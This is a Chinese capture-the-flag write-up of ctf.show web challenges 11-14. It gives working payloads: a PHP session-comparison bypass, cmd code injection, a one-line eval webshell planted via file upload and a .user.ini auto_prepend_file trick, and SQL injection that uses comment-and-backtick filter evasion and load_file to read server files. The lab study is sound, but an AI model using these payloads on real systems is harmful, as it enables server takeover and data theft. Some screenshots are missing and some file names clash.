> 技术文档 > ctf.show web

ctf.show web


web11

本题是一个登陆问题,涉及php会话机制问题

这段验证密码的代码块已经把SQL注入用的东西过滤完了,下面看到SESSION(会话),就会想到cookie,抓包,使用BP的Repeater模块,果然发现了个好东西

什么是PHPSESSID?

就是一个客户端Cookie,每个用户访问网站时,PHP会为其分配一个唯一会话的ID,服务器通过PHPSESSID找到对应存储在服务器上的会话数据(如$_SESSIN数组)

工作流程:

用户访问网站 ──► 服务器创建新会话ID(PHPSESSID) ──► 通过Set-Cookie头发送给客户端 │ 客户端后续请求 ──► 携带PHPSESSID Cookie ──► 服务器验证ID并读取会话数据

知道了这个东西于是我们就可以把原PHPSESSID删除掉并创造一个空密码,让$_SESSION[\'password\']和$password 比较,$_SESSION[\'password\'] 是 null,$password 是空字符串 \'\',松散比较是TURE,这样就绕过了限制

这样就会从服务器的响应中找到答案

web12

查看源代码,发现有一个

,提示我们攻击cmd,先来一个?cmd=phpinfo();,发现显示出php版本页面,于是我们使用?cmd=print_r(glob(\'*\'));来发现文件

最后使用?cmd=highlight_file(\'上面的文件名\');来获取flag

知识点:

1、print_r(glob(\'*\'))   ——glob()是PHP的内置函数,用于查找与指定模式匹配的文件路径,参数*是一个通配符,表示任意字符,因此glob(\'*\')会返回当前目录下所有的文件和文件夹,返回值是一个数组。print_r()是PHP内置函数,用于以人类可读的格式输出变量,它会将数组的结构展开,显示每个元素的键和值,方便调试使用

假设当前目录下有以下文件和文件夹:

/*example/index.phpstyle.cssimage.jpg*/

执行print_r(glob(\'*\'))的输出会是:

Array( [0] => example [1] => index.php [2] => style.css [3] => image.jpg)

2、highlight_file()  ——是PHP中的一个内置函数,用于将文件内容以语法高亮的HTML格式输出,括号中加文件名会读取这个文件的内容,并根据PHP语法规则对其进行着色,最终生成带有HTML和CSS样式的代码预览。简单来说,就是给文件内容上上色(如本题的flag)。、

web13

发现是一个文件上传漏洞,于是我们先随便上传个文件,发现总会出现error file size,说明肯定对文件的大小有限制,然后作为一个脚本小子,我用我的Dirsearch扫描了一下,

访问一下啥也没有,于是我就些微的求助了网上的大佬,大佬告诉我说可以去访问upload.php.bak,我说为什么,大佬给我说.bak是备份文件,这道题出现了源码泄露,于是我就访问了,获得了惊喜,发现文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php——

接下来我们准备好13.txt文件,内容是一句话木马<?php eval($_POST[\'a\']);

13.user.ini文件,内容是auto_prepend_file =2.txt,使所有文件都包含它,

使用蚁剑连接发现对文件无操作权限,于是使用Hackbar插件在网页操作——

显示出目录(这里的glob()函数作用见web12)

于是最后一步再次使用highlight_file()函数

拿到了flag

知识点:

1、.bak文件,备份文件,当原始文件损坏,丢失或需要恢复到之前的版本时,可以使用bak文件

2、一句话木马:

       通常以一行代码的形式存在,主要用于入侵Web服务器后实现对服务器的远程控制,其本质是一段具有文件操作,命令执行等功能的脚本代码。

      核心功能:通过接收外部传入的参数(如POST/GET请求),执行对应系统命令或操作服务器文件,从而让攻击者远程操控目标服务器

      特点:隐蔽性强,跨语言支持,扩展性高

      分类:

脚本类型 典型代码示例 功能说明 PHP 通过POST方式接受参数“a”,执行该参数对应的代码 ASP 接受参数“a”,执行ASP代码 JSP 接受参数”a“,执行系统命令 Python exec(input()) 执行输入的Python代码(常用语Python环境的Web应用)

代码中的\"a\"是自定义的参数名,可替换为任意字符,用于后续连接时验证身份

       工作原理:

  1. 植入阶段:攻击者通过 Web 应用的漏洞(如文件上传漏洞、SQL 注入漏洞、代码执行漏洞等),将一句话木马代码写入目标服务器的可访问目录(如网站根目录下的uploadinclude文件夹)。
  2. 连接阶段:攻击者使用 “木马连接工具”(如蚁剑等),输入木马文件的 URL 和预设参数名(如 “a”),向目标服务器发送包含恶意命令的请求。
  3. 执行阶段:服务器解析并执行一句话木马代码,将命令执行结果返回给攻击者,实现远程控制(如查看文件、修改配置、上传后门等)。

3、.user.ini文件:是PHP环境中一种特殊的配置文件,主要用于对PHP运行环境进行个性化设置,其作用范围通常局限于所在目录及子目录,在本题中的应用是:在这个文件中写入auto_prepend_file=13.txt让该目录下所有的PHP页面自动加载木马,绕过对单个文件的检测

在这个目录下上传之后,使其所有子目录都包含木马文件(就是13.txt)

于是下面这个网站就包含了木马文件,我们就在这个网站页面使用Hackbar传递参数就可以得到答案

第三条的解释是我自己的理解,有什么不对的地方请大佬多多指正

web14

分析页面代码发现只需让参数c=3,发现一个子网站——here_1s_your_f1ag.php,访问一下,出现查询界面

网址后面有个?query=1,存在SQL注入点

检查一下,发现

利用preg_match()过滤了information_schema.tables,information_schema.columns,linestring,空格,polygon,这里我这个初学者学习了一个绕过方法,反引号,具体见文章

https://blog.csdn.net/miuzzx/article/details/104373112?fromshare=blogdetail&sharetype=blogdetail&sharerId=104373112&sharerefer=PC&sharesource=2401_87564369&sharefrom=from_link

information_schema.tables和information_schema.`tables`都可以使用。

于是我们使用Hackbar进行SQL注入

(使用Hackbar可能会出现无反应的情况,只需要把query的值放到查询框里就行了)

爆一下库名

得到库名是web

爆一下表名:

表名是content

爆一下字段名:

字段名是id,username,password

爆一下值

发现

说明数据库里没有flag,给出的提示我们可以看到答案可能在题目刚开始的secret.php文件里,怎么在数据库里访问文件呢,我们可以使用Mysql内置函数load_file()构造

?query=-1/**/union/**/select/**/load_file(\'/var/www/html/secret.php\'),再检查一下,发现

于是访问/real_flag_is_here可得到答案

?query=-1/**/union/**/select/**/load_file(\'/real_flag_is_here\')

本题大部分思路来自文章

https://blog.csdn.net/miuzzx/article/details/104373112?fromshare=blogdetail&sharetype=blogdetail&sharerId=104373112&sharerefer=PC&sharesource=2401_87564369&sharefrom=from_link